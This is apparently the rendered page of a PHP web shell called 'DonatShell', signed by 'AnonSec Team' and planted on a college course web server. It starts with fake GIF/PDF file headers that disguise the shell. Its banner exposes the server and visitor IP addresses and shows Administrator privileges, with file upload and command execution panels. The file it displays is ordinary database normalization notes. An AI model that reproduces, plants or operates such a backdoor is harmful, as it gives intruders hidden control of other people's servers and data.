GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/Resources/Notes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/Resources/Notes/2021-10-27.txt
* = PK (Primary Key)
@ = FK {foreign Key)
^ = Unique

1NF example

employee ( Name*, Phone )
Name*,  Phone
Jim,    320-234-8546,320-583-8490
Jeff,   123-456-7890


Add an id field so we are not using text like the name as the PK.
employee ( id*, Name, Phone )
id*, Name,  Phone
1,   Jim,   320-234-8546,320-583-8490
2,   Jeff,  123-456-7890


Remove non-atomic values. Do this by repeating a row and leaving a different value in each row.
This may make the PK not unique for now.
employee ( id*, Name, Phone )
id*, Name,  Phone
1,   Jim,   320-583-8490
1,   Jim,   320-234-8546
2,   Jeff,  123-456-7890


If you have repeating data, put it in a new table and also create another table for the rest of the data.
employee ( id*, Name )
id*, Name
1,   Jim
2,   Jeff

employeephone ( id*@, Phone* )
id*@,  Phone*
1,     320-583-8490
1,     320-234-8546
2,     123-456-7890


2NF example

Student_Grade_Report (StudentNo*, StudentName, Major, CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)
For this table, the StudentName and Major only depend on the StudentNo (not the CourseNo).
Student (StudentNo*, StudentName, Major)
StudentCourse (StudentNo*, CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation, Grade)

For the StudentCourse table, only the Grade is dependant on both the StudentNo and CourseNo.
So put the rest of the data in another table.
Student (StudentNo*, StudentName, Major)
CourseGrade (StudentNo*, CourseNo*, Grade)
CourseInstructor (CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation)


3NF example

CourseInstructor (CourseNo*, CourseName, InstructorNo, InstructorName, InstructorLocation)
Dependencies are:
CourseNo -> CourseName, InstructorNo, InstructorName, InstructorLocation
InstructorNo -> InstructorName, InstructorLocation
Since InstructorNo determines other attributes they should be placed in another table.
Course (CourseNo*, CourseName, InstructorNo@)
Instructor (InstructorNo*, InstructorName, InstructorLocation)


Anon7 - 2022
AnonSec Team